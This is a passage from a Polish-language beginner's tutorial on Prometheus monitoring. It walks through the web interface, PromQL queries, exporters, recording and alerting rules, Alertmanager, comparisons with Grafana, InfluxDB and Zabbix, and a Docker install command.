&lt;p&gt;Skoro metryki są zwykłym tekstem, możemy je po prostu podejrzeć. Tak wygląda surowy format ekspozycji spod adresu /metrics naszej aplikacji. Linie zaczynające się od znaku kratki to opisy (HELP) i typy (TYPE), reszta to konkretne szeregi z wartościami:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/13_metrics_exposition.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwf1q1nqpmq4uaaclkla8.png" alt="Surowy format ekspozycji metryk spod adresu /metrics: linie HELP i TYPE oraz szeregi counter, gauge, histogram i summary z prawdziwymi wartościami" width="800" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Format ekspozycji /metrics naszej demonstracyjnej aplikacji. To zwykły tekst, więc podejrzysz go przeglądarką albo poleceniem curl.&lt;/p&gt;

&lt;h2&gt;
  
  
  Interfejs Prometheusa, czyli co widzisz po zalogowaniu
&lt;/h2&gt;

&lt;p&gt;Prometheus działa w przeglądarce, domyślnie na porcie 9090. Nie ma logowania ani kolorowych dashboardów, bo do wizualizacji służy Grafana. Za to daje wszystko, czego potrzeba do sprawdzenia, co i jak jest zbierane. U góry mamy trzy miejsca: &lt;strong&gt;Query&lt;/strong&gt; (zadawanie zapytań), &lt;strong&gt;Alerts&lt;/strong&gt; (alerty) oraz rozwijane &lt;strong&gt;Status&lt;/strong&gt;, w którym kryją się cele, wykrywanie celów, konfiguracja, reguły i stan bazy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Query: zapytania w widoku tabeli i wykresu
&lt;/h3&gt;

&lt;p&gt;Zakładka Query to serce interfejsu. Wpisujesz zapytanie w języku PromQL i oglądasz wynik na dwa sposoby. Widok &lt;strong&gt;Graph&lt;/strong&gt; (wykres) pokazuje przebieg w czasie, jak na zrzucie otwierającym ten artykuł. Widok &lt;strong&gt;Table&lt;/strong&gt; (tabela) pokazuje bieżące wartości wraz ze wszystkimi etykietami. Tu widać model danych jak na dłoni: jedna metryka, a pod nią wiele szeregów różniących się etykietami.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/02_table_labels.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fogmcxykf7gpe4qfdrhlu.png" alt="Prometheus, widok Table: jedna metryka rozbita na wiele szeregów różniących się etykietami method i status" width="800" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Widok tabeli dla jednej ścieżki. Każdy wiersz to osobny szereg, różniący się etykietami metody i kodu odpowiedzi.&lt;/p&gt;

&lt;h3&gt;
  
  
  Targets: czy cele odpowiadają
&lt;/h3&gt;

&lt;p&gt;Strona &lt;em&gt;Status, Target health&lt;/em&gt; to pierwsze miejsce, które sprawdzasz, gdy coś nie działa. Pokazuje wszystkie cele (ang. targets), pogrupowane w zadania (ang. jobs), wraz ze stanem &lt;strong&gt;UP&lt;/strong&gt; lub DOWN, czasem ostatniego pobrania i etykietami. Na naszym środowisku Prometheus odpytuje cztery zadania: samego siebie, node_exporter (serwer), cAdvisor (kontenery) oraz naszą aplikację demo. Wszystkie są zdrowe.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/03_targets.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0i1pkb762fyj6877rr8k.png" alt="Prometheus, strona Targets: cztery zadania (prometheus, node, cadvisor, demo-app) w stanie UP, z etykietami i czasem ostatniego pobrania" width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cele monitoringu. Zielony stan UP oznacza, że pobranie metryk się udaje. Widać też etykiety, które sami dołożyliśmy: env oraz team.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wykrywanie celów i relabeling
&lt;/h3&gt;

&lt;p&gt;Strona &lt;em&gt;Service discovery&lt;/em&gt; pokazuje ciekawą rzecz: po lewej surowe etykiety, jakie cel miał w chwili wykrycia (zaczynają się od dwóch podkreśleń, na przykład &lt;code&gt;__address__&lt;/code&gt;), a po prawej etykiety końcowe, już po przetworzeniu. To przetwarzanie nazywa się &lt;strong&gt;relabeling&lt;/strong&gt; i pozwala dodawać, zmieniać albo odrzucać etykiety, zanim dane trafią do bazy. W dużych środowiskach to potężne narzędzie porządkujące, u nas wystarczy wiedzieć, że coś takiego istnieje.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/04_service_discovery.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvmy8zsqv5wazbjgorpdm.png" alt="Prometheus, Service discovery: po lewej etykiety wykryte (Discovered labels), po prawej etykiety końcowe (Target labels)" width="799" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wykryte etykiety (po lewej) i etykiety końcowe (po prawej). Link "show relabeling" pokazuje, jak jedne zamieniają się w drugie.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konfiguracja i stan bazy
&lt;/h3&gt;

&lt;p&gt;W &lt;em&gt;Status, Configuration&lt;/em&gt; podejrzysz aktualny plik konfiguracji tak, jak widzi go Prometheus: interwał pobierania, adres Alertmanagera, pliki reguł i listę zadań do odpytania. To wygodne, bo nie musisz zaglądać na serwer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/05_config.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffrkc2g27d4znejmz3rck.png" alt="Prometheus, strona Configuration: podgląd aktywnej konfiguracji z sekcjami global, alerting, rule_files i scrape_configs" width="799" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aktywna konfiguracja Prometheusa w przeglądarce. Widać interwał pobierania, podpięty Alertmanager i plik reguł.&lt;/p&gt;

&lt;p&gt;Z kolei &lt;em&gt;Status, TSDB status&lt;/em&gt; pokazuje kondycję bazy: ile trzyma szeregów czasowych, które etykiety i metryki mają ich najwięcej. To ważna strona, bo liczba szeregów (tak zwana liczność, ang. cardinality) wprost przekłada się na zużycie pamięci. Na naszej małej instalacji baza trzyma już ponad pięć tysięcy szeregów, głównie z metryk kontenerów.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/08_tsdb_status.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fugs5dguiekh6h75twhnf.png" alt="Prometheus, TSDB status: liczba szeregów, przedział czasu oraz najczęstsze etykiety i metryki w bazie" width="799" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stan bazy szeregów czasowych. Im więcej unikalnych kombinacji etykiet, tym więcej szeregów i tym więcej pamięci.&lt;/p&gt;

&lt;p&gt;Jest jeszcze &lt;em&gt;Status, Runtime and build info&lt;/em&gt;, gdzie sprawdzisz wersję Prometheusa, czas działania i ustawienia przechowywania danych. Przydaje się przy diagnostyce i zgłoszeniach.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/09_status.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6994xutzp8y1bvhn0dns.png" alt="Prometheus, strona Runtime and build info z wersją, czasem działania i informacjami o przechowywaniu danych" width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Informacje o działającym Prometheusie: wersja, czas pracy i parametry przechowywania.&lt;/p&gt;

&lt;h2&gt;
  
  
  PromQL w praktyce, czyli język zapytań Prometheusa
&lt;/h2&gt;

&lt;p&gt;Skoro Prometheus przechowuje dane, potrzebujemy sposobu, żeby o nie pytać. Służy do tego &lt;strong&gt;PromQL&lt;/strong&gt; (Prometheus Query Language), czyli język zapytań Prometheusa. Ten sam język wpisujesz potem w panelach Grafany, więc nauka procentuje podwójnie. Zacznijmy od klasyka, czyli obliczenia bieżącego obciążenia procesora:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;100 - (avg(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wygląda groźnie, ale mówi prostą rzecz: policz, jaki procent czasu procesor był bezczynny, i odejmij to od stu. Rozłóżmy zapytanie na części, bo to najlepszy sposób, żeby zrozumieć składnię:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fragment&lt;/th&gt;
&lt;th&gt;Co oznacza&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;node_cpu_seconds_total&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Metryka z node_exportera: łączny czas pracy procesora w sekundach (licznik).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{mode="idle"}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Filtr etykiety. Bierzemy tylko czas, w którym procesor był bezczynny.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[5m]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Okno czasu. Patrzymy na ostatnie 5 minut historii tej metryki.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rate(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tempo przyrostu na sekundę w tym oknie, czyli ile "bezczynności" przybywa co sekundę.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;avg(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uśrednienie po wszystkich rdzeniach procesora do jednej liczby.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;100 - (... * 100)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zamiana na procent i odjęcie bezczynności od stu, czyli procent obciążenia.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Dlaczego licznik ogląda się przez rate()
&lt;/h3&gt;

&lt;p&gt;Najczęstszy błąd początkujących to rysowanie licznika wprost. Licznik tylko rośnie, więc jego wykres to nudna, wiecznie rosnąca linia, z której nic nie wynika. Interesuje nas &lt;strong&gt;tempo&lt;/strong&gt;, czyli ile przybywa na sekundę. Do tego służy funkcja &lt;strong&gt;rate()&lt;/strong&gt;. Ma jeszcze jedną supermoc: mądrze radzi sobie z restartem aplikacji. Gdy licznik nagle spada do zera, rate() rozumie, że to restart, a nie gigantyczny spadek, i nie psuje wyniku. Zobaczmy to na animacji:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/prom_counter_rate.gif?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvj49sxuuypqt8mqg2ddw.gif" alt="Animacja: licznik rośnie, po restarcie spada do zera, a funkcja rate() liczy stabilne tempo na sekundę i pomija skok restartu" width="800" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Licznik mówi tylko "ile łącznie". Dopiero rate() zamienia go w "ile na sekundę" i przeżywa restart aplikacji.&lt;/p&gt;

&lt;p&gt;W praktyce nie musisz pamiętać wszystkich nazw metryk. Interfejs podpowiada je w trakcie pisania: wystarczy zacząć wpisywać nazwę, a Prometheus pokaże listę pasujących metryk wraz z ich typem i krótkim opisem.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/11_autocomplete.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fydco5eobc2f7d0retir5.png" alt="Prometheus, podpowiedzi metryk podczas pisania zapytania: lista pasujących metryk z ich typem i opisem" width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Podpowiedzi metryk podczas pisania. Widać nazwę, typ (licznik, miernik) oraz opis podpowiadany z pliku metryki.&lt;/p&gt;

&lt;h3&gt;
  
  
  Histogramy i percentyle
&lt;/h3&gt;

&lt;p&gt;Metryki typu histogram pozwalają odpowiedzieć na pytanie, które w monitoringu pada najczęściej: jak szybko odpowiada usługa. Nie interesuje nas średnia, bo ta ukrywa problemy. Interesuje nas percentyl, na przykład 95. Funkcja &lt;strong&gt;histogram_quantile()&lt;/strong&gt; policzy go z kubełków histogramu. Poniższe zapytanie zwraca czas, w którym mieści się 95 procent najszybszych żądań, osobno dla każdej ścieżki:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;histogram_quantile(0.95, sum by (le, endpoint) (rate(demo_request_duration_seconds_bucket[5m])))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/10_histogram_p95.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdku5i5xh7sqm5b97y9ns.png" alt="Prometheus, wykres 95. percentyla czasu odpowiedzi policzonego z histogramu, osobno dla każdej ścieżki" width="800" height="478"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;percentyl czasu odpowiedzi, policzony z histogramu. Tak sprawdzamy, czy usługa jest szybka dla prawie wszystkich użytkowników.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Eksportery, czyli skąd biorą się metryki
&lt;/h2&gt;

&lt;p&gt;Prometheus sam z siebie nie wie, ile pamięci zużywa serwer. Wie o tym system operacyjny. Rolą eksportera jest odczytać taki stan i wystawić go jako metryki pod adresem /metrics. To dzięki eksporterom Prometheus monitoruje praktycznie wszystko. Oto te, które spotkasz najczęściej:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Eksporter&lt;/th&gt;
&lt;th&gt;Co udostępnia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;node_exporter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki serwera z systemem Linux: procesor, pamięć, dysk, sieć. Podstawa monitoringu maszyn.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;cAdvisor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zużycie zasobów w rozbiciu na poszczególne kontenery Dockera.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;blackbox_exporter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sprawdza dostępność z zewnątrz: czy strona odpowiada, czy certyfikat nie wygasa.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eksportery baz danych&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gotowe dla PostgreSQL, MySQL, Redisa, Kafki i wielu innych systemów.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Biblioteki klienckie&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gdy chcesz metryki własnej aplikacji, dokładasz bibliotekę do kodu (Python, Java, Go, .NET).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;W naszym środowisku demonstracyjnym korzystamy z node_exportera, cAdvisora oraz małej aplikacji w Pythonie, która przez bibliotekę kliencką udostępnia własne metryki. To ona produkuje liczniki i histogramy, które oglądaliśmy wyżej.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reguły: zapisujące i alertujące
&lt;/h2&gt;

&lt;p&gt;Prometheus potrafi liczyć nie tylko na żądanie, ale też w tle, według reguł zapisanych w pliku. Reguły dzielą się na dwa rodzaje:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reguły zapisujące (ang. recording rules)&lt;/strong&gt; liczą jakieś zapytanie z góry, w regularnych odstępach, i zapisują wynik pod nową, krótką nazwą. Dzięki temu ciężkie zapytanie liczy się raz, a panele i alerty korzystają z gotowego wyniku. To poprawia wydajność i porządkuje projekt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reguły alertujące (ang. alerting rules)&lt;/strong&gt; sprawdzają warunek i, jeśli jest spełniony przez zadany czas, uruchamiają alert. To one budzą dyżurnego w środku nocy, gdy coś się psuje.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Na stronie &lt;em&gt;Status, Rule health&lt;/em&gt; widać oba rodzaje reguł wraz z ich stanem. U nas mamy dwie reguły zapisujące i cztery alertujące, wszystkie zdrowe (OK):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/06_rules.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwgmyple8y32j3qyk5q3v.png" alt="Prometheus, strona Rules: grupa reguł alertujących (Watchdog, HighErrorRate, HighCpuUsage, TargetDown) i grupa reguł zapisujących" width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Reguły w Prometheusie. U góry cztery reguły alertujące, niżej dwie zapisujące. Prometheus przelicza je co 15 sekund.&lt;/p&gt;

&lt;h2&gt;
  
  
  Alerty i Alertmanager, czyli monitoring, który sam Cię zawiadamia
&lt;/h2&gt;

&lt;p&gt;Same wykresy to nie wszystko. Nikt nie wpatruje się w ekran przez dobę. Dlatego sercem monitoringu są alerty. Reguła alertująca w Prometheusie ma trzy stany: &lt;strong&gt;inactive&lt;/strong&gt; (warunek niespełniony, spokój), &lt;strong&gt;pending&lt;/strong&gt; (warunek właśnie się spełnił, ale jeszcze nie na tyle długo, żeby alarmować) oraz &lt;strong&gt;firing&lt;/strong&gt; (alert aktywny). Ten środkowy stan chroni przed budzeniem wszystkich z powodu jednosekundowego skoku.&lt;/p&gt;

&lt;p&gt;Na naszym środowisku celowo uruchomiliśmy dwie reguły, które się palą. Pierwsza to &lt;strong&gt;Watchdog&lt;/strong&gt;, alert, który zawsze jest aktywny. Brzmi dziwnie, ale to znana dobra praktyka: skoro alert, który powinien palić się zawsze, nagle milknie, to znaczy, że popsuła się sama droga powiadamiania. Druga to &lt;strong&gt;HighErrorRate&lt;/strong&gt;, która pilnuje odsetka błędów serwera. Nasza aplikacja demo celowo zwraca około 30 procent błędów, więc alert słusznie się zapalił i pokazuje realną wartość.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/07_alerts.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvvqri91tdcs67ay2n416.png" alt="Prometheus, strona Alerts: alerty Watchdog i HighErrorRate w stanie firing, z warunkiem, etykietami i bieżącą wartością" width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dwa alerty w stanie firing. Prometheus pokazuje warunek, etykiety, opis i bieżącą wartość, tu odsetek błędów na poziomie ponad 30 procent.&lt;/p&gt;

&lt;p&gt;Prometheus sam alertów nie wysyła. Od tego jest osobny program: &lt;strong&gt;Alertmanager&lt;/strong&gt;. Prometheus przekazuje mu aktywne alerty, a Alertmanager decyduje, co z nimi zrobić. Jego zadania to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Grupowanie&lt;/strong&gt; podobnych alertów w jedno powiadomienie, żeby zamiast stu wiadomości przyszła jedna zbiorcza.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trasowanie (ang. routing)&lt;/strong&gt;, czyli kierowanie alertu do właściwego odbiorcy: e-maila, Slacka, Microsoft Teams albo PagerDuty.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wyciszanie (ang. silences)&lt;/strong&gt; na czas planowanych prac, żeby nie dostawać alarmów o czymś, co sami wyłączyliśmy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tłumienie (ang. inhibition)&lt;/strong&gt;, czyli pomijanie mniej ważnych alertów, gdy pali się poważniejszy z tej samej przyczyny.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tak wyglądają nasze dwa alerty po dotarciu do Alertmanagera. Widać, że zostały pogrupowane i przypisane do odbiorcy o nazwie zespol-devops:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/am_01_alertmanager.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fisya9vj11kcfwonh75rm.png" alt="Alertmanager: alerty HighErrorRate i Watchdog pogrupowane i przypisane do odbiorcy zespol-devops, z opcjami wyciszenia" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alertmanager odebrał alerty z Prometheusa, pogrupował je i przypisał do zespołu. Stąd trafiają dalej na e-mail albo Slack.&lt;/p&gt;

&lt;p&gt;To jest właśnie sedno monitoringu. Interfejs pokazuje stan na życzenie, a Prometheus z Alertmanagerem same zawiadamiają, gdy dzieje się coś złego, nawet gdy nikt nie patrzy na ekran.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prometheus a Grafana i inne narzędzia
&lt;/h2&gt;

&lt;p&gt;Prometheus rzadko pracuje sam. Najczęściej zestawia się go z innymi narzędziami, a część z nich bywa z nim mylona. Uporządkujmy to.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Narzędzie&lt;/th&gt;
&lt;th&gt;Jak się ma do Prometheusa&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Grafana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Nie zbiera danych, tylko je rysuje. To najczęstszy partner Prometheusa: on jest źródłem, ona deską rozdzielczą.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;InfluxDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Też baza szeregów czasowych, ale domyślnie w modelu push i częsta w zastosowaniach IoT. Bezpośredni konkurent w warstwie przechowywania.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zabbix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kompletny system monitoringu z własnym interfejsem i alertami. Bardziej "wszystko w jednym", mniej elastyczny w metrykach aplikacji.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Datadog, New Relic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Płatne platformy w chmurze. Wygodne i bogate, ale kosztowne. Prometheus uruchomisz za darmo na własnym serwerze.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VictoriaMetrics, Thanos, Mimir&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rozwiązania do Prometheusa na dużą skalę: długie przechowywanie i łączenie wielu instancji w jedno.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Prometheus a Grafana
&lt;/h3&gt;

&lt;p&gt;To para, którą najłatwiej pomylić, a różnica jest prosta. &lt;strong&gt;Prometheus zbiera i przechowuje dane, Grafana je pokazuje.&lt;/strong&gt; Prometheus ma własny, skromny interfejs, który świetnie nadaje się do sprawdzania konfiguracji i szybkich zapytań, ale do codziennego oglądania metryk i budowania czytelnych dashboardów sięga się po Grafanę. Tak wygląda ten sam serwer, którego metryki zbiera nasz Prometheus, pokazany w gotowym dashboardzie Grafany:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_07_node_exporter_full.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwp9jvuppmzp3dbbf1nme.png" alt="Grafana rysuje metryki zebrane przez Prometheusa: dashboard Node Exporter Full z CPU, pamięcią, dyskiem i siecią" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Te same metryki, które zbiera Prometheus, narysowane w Grafanie. Prometheus jest źródłem danych, Grafana warstwą wizualizacji.&lt;/p&gt;

&lt;p&gt;Jeśli chcesz zrozumieć drugą połowę tego duetu, mamy osobny, równie praktyczny tekst: &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;Co to jest Grafana, przewodnik dla początkujących&lt;/a&gt;. Pokazujemy w nim krok po kroku, jak podłączyć Prometheus jako źródło danych i zbudować pierwszy dashboard.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prometheus a InfluxDB
&lt;/h3&gt;

&lt;p&gt;Oba to bazy szeregów czasowych, więc konkurują w warstwie przechowywania. Największa różnica to model zbierania: Prometheus domyślnie sam pobiera dane (pull), a InfluxDB częściej przyjmuje dane wysyłane do niego (push). Prometheus króluje w monitoringu infrastruktury i kontenerów, InfluxDB bywa wybierany w internecie rzeczy i tam, gdzie dane naturalnie płyną z urządzeń.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prometheus a Zabbix
&lt;/h3&gt;

&lt;p&gt;Zabbix to weteran monitoringu i rozwiązanie typu wszystko w jednym: sam zbiera dane, sam je pokazuje i sam alarmuje. Prometheus jest bardziej modułowy i mocniejszy w metrykach aplikacji oraz w świecie kontenerów. Co ciekawe, oba często łączy się z Grafaną, żeby mieć ładniejsze i bardziej elastyczne wykresy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak zainstalować Prometheus i ile to kosztuje
&lt;/h2&gt;

&lt;p&gt;Prometheus jest darmowy i otwartoźródłowy (na licencji Apache 2.0), także do zastosowań komercyjnych. Najszybciej uruchomisz go przez Dockera. Jedno polecenie i po chwili Prometheus działa pod adresem &lt;code&gt;http://localhost:9090&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker run -d -p 9090:9090 --name prometheus prom/prometheus
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



